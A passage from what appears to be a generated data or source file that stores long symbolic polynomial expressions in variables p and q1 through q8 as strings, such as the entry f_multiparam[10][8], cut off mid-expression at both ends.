225*p**2*q2*q3*q4*q5*q6*q7**3 + 1800*p**2*q2*q3*q4*q5*q6*q7**2 - 6300*p**2*q2*q3*q4*q5*q6*q7 + 12600*p**2*q2*q3*q4*q5*q6 + 120*p**2*q3**4*q4*q5*q6 + 120*p**2*q3**3*q4**2*q5*q6 + 120*p**2*q3**3*q4*q5**2*q6 + 120*p**2*q3**3*q4*q5*q6**2 + 120*p**2*q3**3*q4*q5*q6*q7 - 840*p**2*q3**3*q4*q5*q6 + 120*p**2*q3**2*q4**3*q5*q6 + 120*p**2*q3**2*q4**2*q5**2*q6 + 120*p**2*q3**2*q4**2*q5*q6**2 + 120*p**2*q3**2*q4**2*q5*q6*q7 - 840*p**2*q3**2*q4**2*q5*q6 + 120*p**2*q3**2*q4*q5**3*q6 + 120*p**2*q3**2*q4*q5**2*q6**2 + 120*p**2*q3**2*q4*q5**2*q6*q7 - 840*p**2*q3**2*q4*q5**2*q6 + 120*p**2*q3**2*q4*q5*q6**3 + 120*p**2*q3**2*q4*q5*q6**2*q7 - 840*p**2*q3**2*q4*q5*q6**2 + 120*p**2*q3**2*q4*q5*q6*q7**2 - 840*p**2*q3**2*q4*q5*q6*q7 + 2520*p**2*q3**2*q4*q5*q6 + 120*p**2*q3*q4**4*q5*q6 + 120*p**2*q3*q4**3*q5**2*q6 + 120*p**2*q3*q4**3*q5*q6**2 + 120*p**2*q3*q4**3*q5*q6*q7 - 840*p**2*q3*q4**3*q5*q6 + 120*p**2*q3*q4**2*q5**3*q6 + 120*p**2*q3*q4**2*q5**2*q6**2 + 120*p**2*q3*q4**2*q5**2*q6*q7 - 840*p**2*q3*q4**2*q5**2*q6 + 120*p**2*q3*q4**2*q5*q6**3 + 120*p**2*q3*q4**2*q5*q6**2*q7 - 840*p**2*q3*q4**2*q5*q6**2 + 120*p**2*q3*q4**2*q5*q6*q7**2 - 840*p**2*q3*q4**2*q5*q6*q7 + 2520*p**2*q3*q4**2*q5*q6 + 120*p**2*q3*q4*q5**4*q6 + 120*p**2*q3*q4*q5**3*q6**2 + 120*p**2*q3*q4*q5**3*q6*q7 - 840*p**2*q3*q4*q5**3*q6 + 120*p**2*q3*q4*q5**2*q6**3 + 120*p**2*q3*q4*q5**2*q6**2*q7 - 840*p**2*q3*q4*q5**2*q6**2 + 120*p**2*q3*q4*q5**2*q6*q7**2 - 840*p**2*q3*q4*q5**2*q6*q7 + 2520*p**2*q3*q4*q5**2*q6 + 120*p**2*q3*q4*q5*q6**4 + 120*p**2*q3*q4*q5*q6**3*q7 - 840*p**2*q3*q4*q5*q6**3 + 120*p**2*q3*q4*q5*q6**2*q7**2 - 840*p**2*q3*q4*q5*q6**2*q7 + 2520*p**2*q3*q4*q5*q6**2 + 120*p**2*q3*q4*q5*q6*q7**3 - 840*p**2*q3*q4*q5*q6*q7**2 + 2520*p**2*q3*q4*q5*q6*q7 - 4200*p**2*q3*q4*q5*q6 - 60*p*q1**4*q2*q3*q4*q5*q6 - 60*p*q1**3*q2**2*q3*q4*q5*q6 - 60*p*q1**3*q2*q3**2*q4*q5*q6 - 60*p*q1**3*q2*q3*q4**2*q5*q6 - 60*p*q1**3*q2*q3*q4*q5**2*q6 - 60*p*q1**3*q2*q3*q4*q5*q6**2 - 60*p*q1**3*q2*q3*q4*q5*q6*q7 + 540*p*q1**3*q2*q3*q4*q5*q6 - 60*p*q1**2*q2**3*q3*q4*q5*q6 - 60*p*q1**2*q2**2*q3**2*q4*q5*q6 - 60*p*q1**2*q2**2*q3*q4**2*q5*q6 - 60*p*q1**2*q2**2*q3*q4*q5**2*q6 - 60*p*q1**2*q2**2*q3*q4*q5*q6**2 - 60*p*q1**2*q2**2*q3*q4*q5*q6*q7 + 540*p*q1**2*q2**2*q3*q4*q5*q6 - 60*p*q1**2*q2*q3**3*q4*q5*q6 - 60*p*q1**2*q2*q3**2*q4**2*q5*q6 - 60*p*q1**2*q2*q3**2*q4*q5**2*q6 - 60*p*q1**2*q2*q3**2*q4*q5*q6**2 - 60*p*q1**2*q2*q3**2*q4*q5*q6*q7 + 540*p*q1**2*q2*q3**2*q4*q5*q6 - 60*p*q1**2*q2*q3*q4**3*q5*q6 - 60*p*q1**2*q2*q3*q4**2*q5**2*q6 - 60*p*q1**2*q2*q3*q4**2*q5*q6**2 - 60*p*q1**2*q2*q3*q4**2*q5*q6*q7 + 540*p*q1**2*q2*q3*q4**2*q5*q6 - 60*p*q1**2*q2*q3*q4*q5**3*q6 - 60*p*q1**2*q2*q3*q4*q5**2*q6**2 - 60*p*q1**2*q2*q3*q4*q5**2*q6*q7 + 540*p*q1**2*q2*q3*q4*q5**2*q6 - 60*p*q1**2*q2*q3*q4*q5*q6**3 - 60*p*q1**2*q2*q3*q4*q5*q6**2*q7 + 540*p*q1**2*q2*q3*q4*q5*q6**2 - 60*p*q1**2*q2*q3*q4*q5*q6*q7**2 + 540*p*q1**2*q2*q3*q4*q5*q6*q7 - 2160*p*q1**2*q2*q3*q4*q5*q6 - 60*p*q1*q2**4*q3*q4*q5*q6 - 60*p*q1*q2**3*q3**2*q4*q5*q6 - 60*p*q1*q2**3*q3*q4**2*q5*q6 - 60*p*q1*q2**3*q3*q4*q5**2*q6 - 60*p*q1*q2**3*q3*q4*q5*q6**2 - 60*p*q1*q2**3*q3*q4*q5*q6*q7 + 540*p*q1*q2**3*q3*q4*q5*q6 - 60*p*q1*q2**2*q3**3*q4*q5*q6 - 60*p*q1*q2**2*q3**2*q4**2*q5*q6 - 60*p*q1*q2**2*q3**2*q4*q5**2*q6 - 60*p*q1*q2**2*q3**2*q4*q5*q6**2 - 60*p*q1*q2**2*q3**2*q4*q5*q6*q7 + 540*p*q1*q2**2*q3**2*q4*q5*q6 - 60*p*q1*q2**2*q3*q4**3*q5*q6 - 60*p*q1*q2**2*q3*q4**2*q5**2*q6 - 60*p*q1*q2**2*q3*q4**2*q5*q6**2 - 60*p*q1*q2**2*q3*q4**2*q5*q6*q7 + 540*p*q1*q2**2*q3*q4**2*q5*q6 - 60*p*q1*q2**2*q3*q4*q5**3*q6 - 60*p*q1*q2**2*q3*q4*q5**2*q6**2 - 60*p*q1*q2**2*q3*q4*q5**2*q6*q7 + 540*p*q1*q2**2*q3*q4*q5**2*q6 - 60*p*q1*q2**2*q3*q4*q5*q6**3 - 60*p*q1*q2**2*q3*q4*q5*q6**2*q7 + 540*p*q1*q2**2*q3*q4*q5*q6**2 - 60*p*q1*q2**2*q3*q4*q5*q6*q7**2 + 540*p*q1*q2**2*q3*q4*q5*q6*q7 - 2160*p*q1*q2**2*q3*q4*q5*q6 - 60*p*q1*q2*q3**4*q4*q5*q6 - 60*p*q1*q2*q3**3*q4**2*q5*q6 - 60*p*q1*q2*q3**3*q4*q5**2*q6 - 60*p*q1*q2*q3**3*q4*q5*q6**2 - 60*p*q1*q2*q3**3*q4*q5*q6*q7 + 540*p*q1*q2*q3**3*q4*q5*q6 - 60*p*q1*q2*q3**2*q4**3*q5*q6 - 60*p*q1*q2*q3**2*q4**2*q5**2*q6 - 60*p*q1*q2*q3**2*q4**2*q5*q6**2 - 60*p*q1*q2*q3**2*q4**2*q5*q6*q7 + 540*p*q1*q2*q3**2*q4**2*q5*q6 - 60*p*q1*q2*q3**2*q4*q5**3*q6 - 60*p*q1*q2*q3**2*q4*q5**2*q6**2 - 60*p*q1*q2*q3**2*q4*q5**2*q6*q7 + 540*p*q1*q2*q3**2*q4*q5**2*q6 - 60*p*q1*q2*q3**2*q4*q5*q6**3 - 60*p*q1*q2*q3**2*q4*q5*q6**2*q7 + 540*p*q1*q2*q3**2*q4*q5*q6**2 - 60*p*q1*q2*q3**2*q4*q5*q6*q7**2 + 540*p*q1*q2*q3**2*q4*q5*q6*q7 - 2160*p*q1*q2*q3**2*q4*q5*q6 - 60*p*q1*q2*q3*q4**4*q5*q6 - 60*p*q1*q2*q3*q4**3*q5**2*q6 - 60*p*q1*q2*q3*q4**3*q5*q6**2 - 60*p*q1*q2*q3*q4**3*q5*q6*q7 + 540*p*q1*q2*q3*q4**3*q5*q6 - 60*p*q1*q2*q3*q4**2*q5**3*q6 - 60*p*q1*q2*q3*q4**2*q5**2*q6**2 - 60*p*q1*q2*q3*q4**2*q5**2*q6*q7 + 540*p*q1*q2*q3*q4**2*q5**2*q6 - 60*p*q1*q2*q3*q4**2*q5*q6**3 - 60*p*q1*q2*q3*q4**2*q5*q6**2*q7 + 540*p*q1*q2*q3*q4**2*q5*q6**2 - 60*p*q1*q2*q3*q4**2*q5*q6*q7**2 + 540*p*q1*q2*q3*q4**2*q5*q6*q7 - 2160*p*q1*q2*q3*q4**2*q5*q6 - 60*p*q1*q2*q3*q4*q5**4*q6 - 60*p*q1*q2*q3*q4*q5**3*q6**2 - 60*p*q1*q2*q3*q4*q5**3*q6*q7 + 540*p*q1*q2*q3*q4*q5**3*q6 - 60*p*q1*q2*q3*q4*q5**2*q6**3 - 60*p*q1*q2*q3*q4*q5**2*q6**2*q7 + 540*p*q1*q2*q3*q4*q5**2*q6**2 - 60*p*q1*q2*q3*q4*q5**2*q6*q7**2 + 540*p*q1*q2*q3*q4*q5**2*q6*q7 - 2160*p*q1*q2*q3*q4*q5**2*q6 - 60*p*q1*q2*q3*q4*q5*q6**4 - 60*p*q1*q2*q3*q4*q5*q6**3*q7 + 540*p*q1*q2*q3*q4*q5*q6**3 - 60*p*q1*q2*q3*q4*q5*q6**2*q7**2 + 540*p*q1*q2*q3*q4*q5*q6**2*q7 - 2160*p*q1*q2*q3*q4*q5*q6**2 - 60*p*q1*q2*q3*q4*q5*q6*q7**3 + 540*p*q1*q2*q3*q4*q5*q6*q7**2 - 2160*p*q1*q2*q3*q4*q5*q6*q7 + 5040*p*q1*q2*q3*q4*q5*q6 + 45*p*q2**4*q3*q4*q5*q6 + 45*p*q2**3*q3**2*q4*q5*q6 + 45*p*q2**3*q3*q4**2*q5*q6 + 45*p*q2**3*q3*q4*q5**2*q6 + 45*p*q2**3*q3*q4*q5*q6**2 + 45*p*q2**3*q3*q4*q5*q6*q7 - 360*p*q2**3*q3*q4*q5*q6 + 45*p*q2**2*q3**3*q4*q5*q6 + 45*p*q2**2*q3**2*q4**2*q5*q6 + 45*p*q2**2*q3**2*q4*q5**2*q6 + 45*p*q2**2*q3**2*q4*q5*q6**2 + 45*p*q2**2*q3**2*q4*q5*q6*q7 - 360*p*q2**2*q3**2*q4*q5*q6 + 45*p*q2**2*q3*q4**3*q5*q6 + 45*p*q2**2*q3*q4**2*q5**2*q6 + 45*p*q2**2*q3*q4**2*q5*q6**2 + 45*p*q2**2*q3*q4**2*q5*q6*q7 - 360*p*q2**2*q3*q4**2*q5*q6 + 45*p*q2**2*q3*q4*q5**3*q6 + 45*p*q2**2*q3*q4*q5**2*q6**2 + 45*p*q2**2*q3*q4*q5**2*q6*q7 - 360*p*q2**2*q3*q4*q5**2*q6 + 45*p*q2**2*q3*q4*q5*q6**3 + 45*p*q2**2*q3*q4*q5*q6**2*q7 - 360*p*q2**2*q3*q4*q5*q6**2 + 45*p*q2**2*q3*q4*q5*q6*q7**2 - 360*p*q2**2*q3*q4*q5*q6*q7 + 1260*p*q2**2*q3*q4*q5*q6 + 45*p*q2*q3**4*q4*q5*q6 + 45*p*q2*q3**3*q4**2*q5*q6 + 45*p*q2*q3**3*q4*q5**2*q6 + 45*p*q2*q3**3*q4*q5*q6**2 + 45*p*q2*q3**3*q4*q5*q6*q7 - 360*p*q2*q3**3*q4*q5*q6 + 45*p*q2*q3**2*q4**3*q5*q6 + 45*p*q2*q3**2*q4**2*q5**2*q6 + 45*p*q2*q3**2*q4**2*q5*q6**2 + 45*p*q2*q3**2*q4**2*q5*q6*q7 - 360*p*q2*q3**2*q4**2*q5*q6 + 45*p*q2*q3**2*q4*q5**3*q6 + 45*p*q2*q3**2*q4*q5**2*q6**2 + 45*p*q2*q3**2*q4*q5**2*q6*q7 - 360*p*q2*q3**2*q4*q5**2*q6 + 45*p*q2*q3**2*q4*q5*q6**3 + 45*p*q2*q3**2*q4*q5*q6**2*q7 - 360*p*q2*q3**2*q4*q5*q6**2 + 45*p*q2*q3**2*q4*q5*q6*q7**2 - 360*p*q2*q3**2*q4*q5*q6*q7 + 1260*p*q2*q3**2*q4*q5*q6 + 45*p*q2*q3*q4**4*q5*q6 + 45*p*q2*q3*q4**3*q5**2*q6 + 45*p*q2*q3*q4**3*q5*q6**2 + 45*p*q2*q3*q4**3*q5*q6*q7 - 360*p*q2*q3*q4**3*q5*q6 + 45*p*q2*q3*q4**2*q5**3*q6 + 45*p*q2*q3*q4**2*q5**2*q6**2 + 45*p*q2*q3*q4**2*q5**2*q6*q7 - 360*p*q2*q3*q4**2*q5**2*q6 + 45*p*q2*q3*q4**2*q5*q6**3 + 45*p*q2*q3*q4**2*q5*q6**2*q7 - 360*p*q2*q3*q4**2*q5*q6**2 + 45*p*q2*q3*q4**2*q5*q6*q7**2 - 360*p*q2*q3*q4**2*q5*q6*q7 + 1260*p*q2*q3*q4**2*q5*q6 + 45*p*q2*q3*q4*q5**4*q6 + 45*p*q2*q3*q4*q5**3*q6**2 + 45*p*q2*q3*q4*q5**3*q6*q7 - 360*p*q2*q3*q4*q5**3*q6 + 45*p*q2*q3*q4*q5**2*q6**3 + 45*p*q2*q3*q4*q5**2*q6**2*q7 - 360*p*q2*q3*q4*q5**2*q6**2 + 45*p*q2*q3*q4*q5**2*q6*q7**2 - 360*p*q2*q3*q4*q5**2*q6*q7 + 1260*p*q2*q3*q4*q5**2*q6 + 45*p*q2*q3*q4*q5*q6**4 + 45*p*q2*q3*q4*q5*q6**3*q7 - 360*p*q2*q3*q4*q5*q6**3 + 45*p*q2*q3*q4*q5*q6**2*q7**2 - 360*p*q2*q3*q4*q5*q6**2*q7 + 1260*p*q2*q3*q4*q5*q6**2 + 45*p*q2*q3*q4*q5*q6*q7**3 - 360*p*q2*q3*q4*q5*q6*q7**2 + 1260*p*q2*q3*q4*q5*q6*q7 - 2520*p*q2*q3*q4*q5*q6 + 10*q1**4*q2*q3*q4*q5*q6 + 10*q1**3*q2**2*q3*q4*q5*q6 + 10*q1**3*q2*q3**2*q4*q5*q6 + 10*q1**3*q2*q3*q4**2*q5*q6 + 10*q1**3*q2*q3*q4*q5**2*q6 + 10*q1**3*q2*q3*q4*q5*q6**2 + 10*q1**3*q2*q3*q4*q5*q6*q7 - 90*q1**3*q2*q3*q4*q5*q6 + 10*q1**2*q2**3*q3*q4*q5*q6 + 10*q1**2*q2**2*q3**2*q4*q5*q6 + 10*q1**2*q2**2*q3*q4**2*q5*q6 + 10*q1**2*q2**2*q3*q4*q5**2*q6 + 10*q1**2*q2**2*q3*q4*q5*q6**2 + 10*q1**2*q2**2*q3*q4*q5*q6*q7 - 90*q1**2*q2**2*q3*q4*q5*q6 + 10*q1**2*q2*q3**3*q4*q5*q6 + 10*q1**2*q2*q3**2*q4**2*q5*q6 + 10*q1**2*q2*q3**2*q4*q5**2*q6 + 10*q1**2*q2*q3**2*q4*q5*q6**2 + 10*q1**2*q2*q3**2*q4*q5*q6*q7 - 90*q1**2*q2*q3**2*q4*q5*q6 + 10*q1**2*q2*q3*q4**3*q5*q6 + 10*q1**2*q2*q3*q4**2*q5**2*q6 + 10*q1**2*q2*q3*q4**2*q5*q6**2 + 10*q1**2*q2*q3*q4**2*q5*q6*q7 - 90*q1**2*q2*q3*q4**2*q5*q6 + 10*q1**2*q2*q3*q4*q5**3*q6 + 10*q1**2*q2*q3*q4*q5**2*q6**2 + 10*q1**2*q2*q3*q4*q5**2*q6*q7 - 90*q1**2*q2*q3*q4*q5**2*q6 + 10*q1**2*q2*q3*q4*q5*q6**3 + 10*q1**2*q2*q3*q4*q5*q6**2*q7 - 90*q1**2*q2*q3*q4*q5*q6**2 + 10*q1**2*q2*q3*q4*q5*q6*q7**2 - 90*q1**2*q2*q3*q4*q5*q6*q7 + 360*q1**2*q2*q3*q4*q5*q6 + 10*q1*q2**4*q3*q4*q5*q6 + 10*q1*q2**3*q3**2*q4*q5*q6 + 10*q1*q2**3*q3*q4**2*q5*q6 + 10*q1*q2**3*q3*q4*q5**2*q6 + 10*q1*q2**3*q3*q4*q5*q6**2 + 10*q1*q2**3*q3*q4*q5*q6*q7 - 90*q1*q2**3*q3*q4*q5*q6 + 10*q1*q2**2*q3**3*q4*q5*q6 + 10*q1*q2**2*q3**2*q4**2*q5*q6 + 10*q1*q2**2*q3**2*q4*q5**2*q6 + 10*q1*q2**2*q3**2*q4*q5*q6**2 + 10*q1*q2**2*q3**2*q4*q5*q6*q7 - 90*q1*q2**2*q3**2*q4*q5*q6 + 10*q1*q2**2*q3*q4**3*q5*q6 + 10*q1*q2**2*q3*q4**2*q5**2*q6 + 10*q1*q2**2*q3*q4**2*q5*q6**2 + 10*q1*q2**2*q3*q4**2*q5*q6*q7 - 90*q1*q2**2*q3*q4**2*q5*q6 + 10*q1*q2**2*q3*q4*q5**3*q6 + 10*q1*q2**2*q3*q4*q5**2*q6**2 + 10*q1*q2**2*q3*q4*q5**2*q6*q7 - 90*q1*q2**2*q3*q4*q5**2*q6 + 10*q1*q2**2*q3*q4*q5*q6**3 + 10*q1*q2**2*q3*q4*q5*q6**2*q7 - 90*q1*q2**2*q3*q4*q5*q6**2 + 10*q1*q2**2*q3*q4*q5*q6*q7**2 - 90*q1*q2**2*q3*q4*q5*q6*q7 + 360*q1*q2**2*q3*q4*q5*q6 + 10*q1*q2*q3**4*q4*q5*q6 + 10*q1*q2*q3**3*q4**2*q5*q6 + 10*q1*q2*q3**3*q4*q5**2*q6 + 10*q1*q2*q3**3*q4*q5*q6**2 + 10*q1*q2*q3**3*q4*q5*q6*q7 - 90*q1*q2*q3**3*q4*q5*q6 + 10*q1*q2*q3**2*q4**3*q5*q6 + 10*q1*q2*q3**2*q4**2*q5**2*q6 + 10*q1*q2*q3**2*q4**2*q5*q6**2 + 10*q1*q2*q3**2*q4**2*q5*q6*q7 - 90*q1*q2*q3**2*q4**2*q5*q6 + 10*q1*q2*q3**2*q4*q5**3*q6 + 10*q1*q2*q3**2*q4*q5**2*q6**2 + 10*q1*q2*q3**2*q4*q5**2*q6*q7 - 90*q1*q2*q3**2*q4*q5**2*q6 + 10*q1*q2*q3**2*q4*q5*q6**3 + 10*q1*q2*q3**2*q4*q5*q6**2*q7 - 90*q1*q2*q3**2*q4*q5*q6**2 + 10*q1*q2*q3**2*q4*q5*q6*q7**2 - 90*q1*q2*q3**2*q4*q5*q6*q7 + 360*q1*q2*q3**2*q4*q5*q6 + 10*q1*q2*q3*q4**4*q5*q6 + 10*q1*q2*q3*q4**3*q5**2*q6 + 10*q1*q2*q3*q4**3*q5*q6**2 + 10*q1*q2*q3*q4**3*q5*q6*q7 - 90*q1*q2*q3*q4**3*q5*q6 + 10*q1*q2*q3*q4**2*q5**3*q6 + 10*q1*q2*q3*q4**2*q5**2*q6**2 + 10*q1*q2*q3*q4**2*q5**2*q6*q7 - 90*q1*q2*q3*q4**2*q5**2*q6 + 10*q1*q2*q3*q4**2*q5*q6**3 + 10*q1*q2*q3*q4**2*q5*q6**2*q7 - 90*q1*q2*q3*q4**2*q5*q6**2 + 10*q1*q2*q3*q4**2*q5*q6*q7**2 - 90*q1*q2*q3*q4**2*q5*q6*q7 + 360*q1*q2*q3*q4**2*q5*q6 + 10*q1*q2*q3*q4*q5**4*q6 + 10*q1*q2*q3*q4*q5**3*q6**2 + 10*q1*q2*q3*q4*q5**3*q6*q7 - 90*q1*q2*q3*q4*q5**3*q6 + 10*q1*q2*q3*q4*q5**2*q6**3 + 10*q1*q2*q3*q4*q5**2*q6**2*q7 - 90*q1*q2*q3*q4*q5**2*q6**2 + 10*q1*q2*q3*q4*q5**2*q6*q7**2 - 90*q1*q2*q3*q4*q5**2*q6*q7 + 360*q1*q2*q3*q4*q5**2*q6 + 10*q1*q2*q3*q4*q5*q6**4 + 10*q1*q2*q3*q4*q5*q6**3*q7 - 90*q1*q2*q3*q4*q5*q6**3 + 10*q1*q2*q3*q4*q5*q6**2*q7**2 - 90*q1*q2*q3*q4*q5*q6**2*q7 + 360*q1*q2*q3*q4*q5*q6**2 + 10*q1*q2*q3*q4*q5*q6*q7**3 - 90*q1*q2*q3*q4*q5*q6*q7**2 + 360*q1*q2*q3*q4*q5*q6*q7 - 840*q1*q2*q3*q4*q5*q6)' f_multiparam[10][8] = '-p*(p - 1)**2*(10*p**7*q1**3*q2*q3*q4*q5*q6*q7 + 10*p**7*q1**2*q2**2*q3*q4*q5*q6*q7 + 10*p**7*q1**2*q2*q3**2*q4*q5*q6*q7 + 10*p**7*q1**2*q2*q3*q4**2*q5*q6*q7 + 10*p**7*q1**2*q2*q3*q4*q5**2*q6*q7 + 10*p**7*q1**2*q2*q3*q4*q5*q6**2*q7 + 10*p**7*q1**2*q2*q3*q4*q5*q6*q7**2 + 10*p**7*q1**2*q2*q3*q4*q5*q6*q7*q8 - 90*p**7*q1**2*q2*q3*q4*q5*q6*q7 + 10*p**7*q1*q2**3*q3*q4*q5*q6*q7 + 10*p**7*q1*q2**2*q3**2*q4*q5*q6*q7 + 10*p**7*q1*q2**2*q3*q4**2*q5*q6*q7 + 10*p**7*q1*q2**2*q3*q4*q5**2*q6*q7 + 10*p**7*q1*q2**2*q3*q4*q5*q6**2*q7 + 10*p**7*q1*q2**2*q3*q4*q5*q6*q7**2 + 10*p**7*q1*q2**2*q3*q4*q5*q6*q7*q8 - 90*p**7*q1*q2**2*q3*q4*q5*q6*q7 + 10*p**7*q1*q2*q3**3*q4*q5*q6*q7 + 10*p**7*q1*q2*q3**2*q4**2*q5*q6*q7 + 10*p**7*q1*q2*q3**2*q4*q5**2*q6*q7 + 10*p**7*q1*q2*q3**2*q4*q5*q6**2*q7 + 10*p**7*q1*q2*q3**2*q4*q5*q6*q7**2 + 10*p**7*q1*q2*q3**2*q4*q5*q6*q7*q8 - 90*p**7*q1*q2*q3**2*q4*q5*q6*q7 + 10*p**7*q1*q2*q3*q4**3*q5*q6*q7 + 10*p**7*q1*q2*q3*q4**2*q5**2*q6*q7 + 10*p**7*q1*q2*q3*q4**2*q5*q6**2*q7 + 10*p**7*q1*q2*q3*q4**2*q5*q6*q7**2 + 10*p**7*q1*q2*q3*q4**2*q5*q6*q7*q8 - 90*p**7*q1*q2*q3*q4**2*q5*q6*q7 + 10*p**7*q1*q2*q3*q4*q5**3*q6*q7 + 10*p**7*q1*q2*q3*q4*q5**2*q6**2*q7 + 10*p**7*q1*q2*q3*q4*q5**2*q6*q7**2 + 10*p**7*q1*q2*q3*q4*q5**2*q6*q7*q8 - 90*p**7*q1*q2*q3*q4*q5**2*q6*q7 + 10*p**7*q1*q2*q3*q4*q5*q6**3*q7 + 10*p**7*q1*q2*q3*q4*q5*q6**2*q7**2 + 10*p**7*q1*q2*q3*q4*q5*q6**2*q7*q8 - 90*p**7*q1*q2*q3*q4*q5*q6**2*q7 + 10*p**7*q1*q2*q3*q4*q5*q6*q7**3 + 10*p**7*q1*q2*q3*q4*q5*q6*q7**2*q8 - 90*p**7*q1*q2*q3*q4*q5*q6*q7**2 + 10*p**7*q1*q2*q3*q4*q5*q6*q7*q8**2 - 90*p**7*q1*q2*q3*q4*q5*q6*q7*q8 + 360*p**7*q1*q2*q3*q4*q5*q6*q7 - 45*p**7*q2**3*q3*q4*q5*q6*q7 - 45*p**7*q2**2*q3**2*q4*q5*q6*q7 - 45*p**7*q2**2*q3*q4**2*q5*q6*q7 - 45*p**7*q2**2*q3*q4*q5**2*q6*q7 - 45*p**7*q2**2*q3*q4*q5*q6**2*q7 - 45*p**7*q2**2*q3*q4*q5*q6*q7**2 - 45*p**7*q2**2*q3*q4*q5*q6*q7*q8 + 360*p**7*q2**2*q3*q4*q5*q6*q7 - 45*p**7*q2*q3**3*q4*q5*q6*q7 - 45*p**7*q2*q3**2*q4**2*q5*q6*q7 - 45*p**7*q2*q3**2*q4*q5**2*q6*q7 - 45*p**7*q2*q3**2*q4*q5*q6**2*q7 - 45*p**7*q2*q3**2*q4*q5*q6*q7**2 - 45*p**7*q2*q3**2*q4*q5*q6*q7*q8 + 360*p**7*q2*q3**2*q4*q5*q6*q7 - 45*p**7*q2*q3*q4**3*q5*q6*q7 - 45*p**7*q2*q3*q4**2*q5**2*q6*q7 - 45*p**7*q2*q3*q4**2*q5*q6**2*q7 - 45*p**7*q2*q3*q4**2*q5*q6*q7**2 - 45*p**7*q2*q3*q4**2*q5*q6*q7*q8 + 360*p**7*q2*q3*q4**2*q5*q6*q7 - 45*p**7*q2*q3*q4*q5**3*q6*q7 - 45*p**7*q2*q3*q4*q5**2*q6**2*q7 - 45*p**7*q2*q3*q4*q5**2*q6*q7**2 - 45*p**7*q2*q3*q4*q5**2*q6*q7*q8 + 360*p**7*q2*q3*q4*q5**2*q6*q7 - 45*p**7*q2*q3*q4*q5*q6**3*q7 - 45*p**7*q2*q3*q4*q5*q6**2*q7**2 - 45*p**7*q2*q3*q4*q5*q6**2*q7*q8 + 360*p**7*q2*q3*q4*q5*q6**2*q7 - 45*p**7*q2*q3*q4*q5*q6*q7**3 - 45*p**7*q2*q3*q4*q5*q6*q7**2*q8 + 360*p**7*q2*q3*q4*q5*q6*q7**2 - 45*p**7*q2*q3*q4*q5*q6*q7*q8**2 + 360*p**7*q2*q3*q4*q5*q6*q7*q8 - 1260*p**7*q2*q3*q4*q5*q6*q7 + 120*p**7*q3**3*q4*q5*q6*q7 + 120*p**7*q3**2*q4**2*q5*q6*q7 + 120*p**7*q3**2*q4*q5**2*q6*q7 + 120*p**7*q3**2*q4*q5*q6**2*q7 + 120*p**7*q3**2*q4*q5*q6*q7**2 + 120*p**7*q3**2*q4*q5*q6*q7*q8 - 840*p**7*q3**2*q4*q5*q6*q7 + 120*p**7*q3*q4**3*q5*q6*q7 + 120*p**7*q3*q4**2*q5**2*q6*q7 + 120*p**7*q3*q4**2*q5*q6**2*q7 + 120*p**7*q3*q4**2*q5*q6*q7**2 + 120*p**7*q3*q4**2*q5*q6*q7*q8 - 840*p**7*q3*q4**2*q5*q6*q7 + 120*p**7*q3*q4*q5**3*q6*q7 + 120*p**7*q3*q4*q5**2*q6**2*q7 + 120*p**7*q3*q4*q5**2*q6*q7**2 + 120*p**7*q3*q4*q5**2*q6*q7*q8 - 840*p**7*q3*q4*q5**2*q6*q7 + 120*p**7*q3*q4*q5*q6**3*q7 + 120*p**7*q3*q4*q5*q6**2*q7**2 + 120*p**7*q3*q4*q5*q6**2*q7*q8 - 840*p**7*q3*q4*q5*q6**2*q7 + 120*p**7*q3*q4*q5*q6*q7**3 + 120*p**7*q3*q4*q5*q6*q7**2*q8 - 840*p**7*q3*q4*q5*q6*q7**2 + 120*p**7*q3*q4*q5*q6*q7*q8**2 - 840*p**7*q3*q4*q5*q6*q7*q8 + 2520*p**7*q3*q4*q5*q6*q7 - 210*p**7*q4**3*q5*q6*q7 - 210*p**7*q4**2*q5**2*q6*q7 - 210*p**7*q4**2*q5*q6**2*q7 - 210*p**7*q4**2*q5*q6*q7**2 - 210*p**7*q4**2*q5*q6*q7*q8 + 1260*p**7*q4**2*q5*q6*q7 - 210*p**7*q4*q5**3*q6*q7 - 210*p**7*q4*q5**2*q6**2*q7 - 210*p**7*q4*q5**2*q6*q7**2 - 210*p**7*q4*q5**2*q6*q7*q8 + 1260*p**7*q4*q5**2*q6*q7 - 210*p**7*q4*q5*q6**3*q7 - 210*p**7*q4*q5*q6**2*q7**2 - 210*p**7*q4*q5*q6**2*q7*q8 + 1260*p**7*q4*q5*q6**2*q7 - 210*p**7*q4*q5*q6*q7**3 - 210*p**7*q4*q5*q6*q7**2*q8 + 1260*p**7*q4*q5*q6*q7**2 - 210*p**7*q4*q5*q6*q7*q8**2 + 1260*p**7*q4*q5*q6*q7*q8 - 3150*p**7*q4*q5*q6*q7 + 252*p**7*q5**3*q6*q7 + 252*p**7*q5**2*q6**2*q7 + 252*p**7*q5**2*q6*q7**2 + 252*p**7*q5**2*q6*q7*q8 - 1260*p**7*q5**2*q6*q7 + 252*p**7*q5*q6**3*q7 + 252*p**7*q5*q6**2*q7**2 + 252*p**7*q5*q6**2*q7*q8 - 1260*p**7*q5*q6**2*q7 + 252*p**7*q5*q6*q7**3 + 252*p**7*q5*q6*q7**2*q8 - 1260*p**7*q5*q6*q7**2 + 252*p**7*q5*q6*q7*q8**2 - 1260*p**7*q5*q6*q7*q8 + 2520*p**7*q5*q6*q7 - 210*p**7*q6**3*q7 - 210*p**7*q6**2*q7**2 - 210*p**7*q6**2*q7*q8 + 840*p**7*q6**2*q7 - 210*p**7*q6*q7**3 - 210*p**7*q6*q7**2*q8 + 840*p**7*q6*q7**2 - 210*p**7*q6*q7*q8**2 + 840*p**7*q6*q7*q8 - 1260*p**7*q6*q7 + 120*p**7*q7**3 + 120*p**7*q7**2*q8 - 360*p**7*q7**2 + 120*p**7*q7*q8**2 - 360*p**7*q7*q8 + 360*p**7*q7 - 45*p**7*q8**2 + 90*p**7*q8 - 45*p**7 - 70*p**6*q1**3*q2*q3*q4*q5*q6*q7 - 70*p**6*q1**2*q2**2*q3*q4*q5*q6*q7 - 70*p**6*q1**2*q2*q3**2*q4*q5*q6*q7 - 70*p**6*q1**2*q2*q3*q4**2*q5*q6*q7 - 70*p**6*q1**2*q2*q3*q4*q5**2*q6*q7 - 70*p**6*q1**2*q2*q3*q4*q5*q6**2*q7 - 70*p**6*q1**2*q2*q3*q4*q5*q6*q7**2 - 70*p**6*q1**2*q2*q3*q4*q5*q6*q7*q8 + 630*p**6*q1**2*q2*q3*q4*q5*q6*q7 - 70*p**6*q1*q2**3*q3*q4*q5*q6*q7 - 70*p**6*q1*q2**2*q3**2*q4*q5*q6*q7 - 